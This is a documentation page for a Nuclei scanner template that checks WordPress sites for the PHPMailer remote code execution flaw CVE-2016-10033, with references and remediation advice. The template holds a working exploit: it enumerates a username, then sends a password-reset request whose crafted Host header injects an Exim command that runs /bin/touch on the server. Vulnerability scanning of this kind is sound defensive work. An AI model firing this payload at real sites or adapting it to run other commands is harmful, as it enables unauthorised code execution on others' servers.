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WordPress PHPMailer < 5.2.18 - Remote Code Execution

ID: CVE-2016-10033

Severity: critical

Author: princechaddha

Tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project

Description

Section titled “Description”

WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a ” (backslash double quote) in a crafted Sender property in isMail transport.

YAML Source

Section titled “YAML Source”
id: CVE-2016-10033


info:
  name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website.
  remediation: |
    Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.
  reference:
    - https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10033
    - https://www.exploit-db.com/exploits/40970/
    - https://www.exploit-db.com/exploits/40968/
    - http://seclists.org/fulldisclosure/2016/Dec/78
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-10033
    cwe-id: CWE-88
    epss-score: 0.97129
    epss-percentile: 0.99797
    cpe: cpe:2.3:a:phpmailer_project:phpmailer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: phpmailer_project
    product: phpmailer
  tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project


http:
  - raw:
      - |+
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9


      - |+
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
        Accept: */*
        Content-Type: application/x-www-form-urlencoded


        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}


    unsafe: true


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - wp-login.php?checkemail=confirm


      - type: status
        status:
          - 302


    extractors:
      - type: regex
        name: username
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
        internal: true
        part: body
# digest: 4b0a00483046022100bb56fa9972d16db9e2d278050ff530290e76be3a8a88a0e7b7b8be710f6628a3022100b329174aebde5f35b696b0b43156b492b8fedea5148c42e41dc747e8a0af56b3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-10033.yaml"

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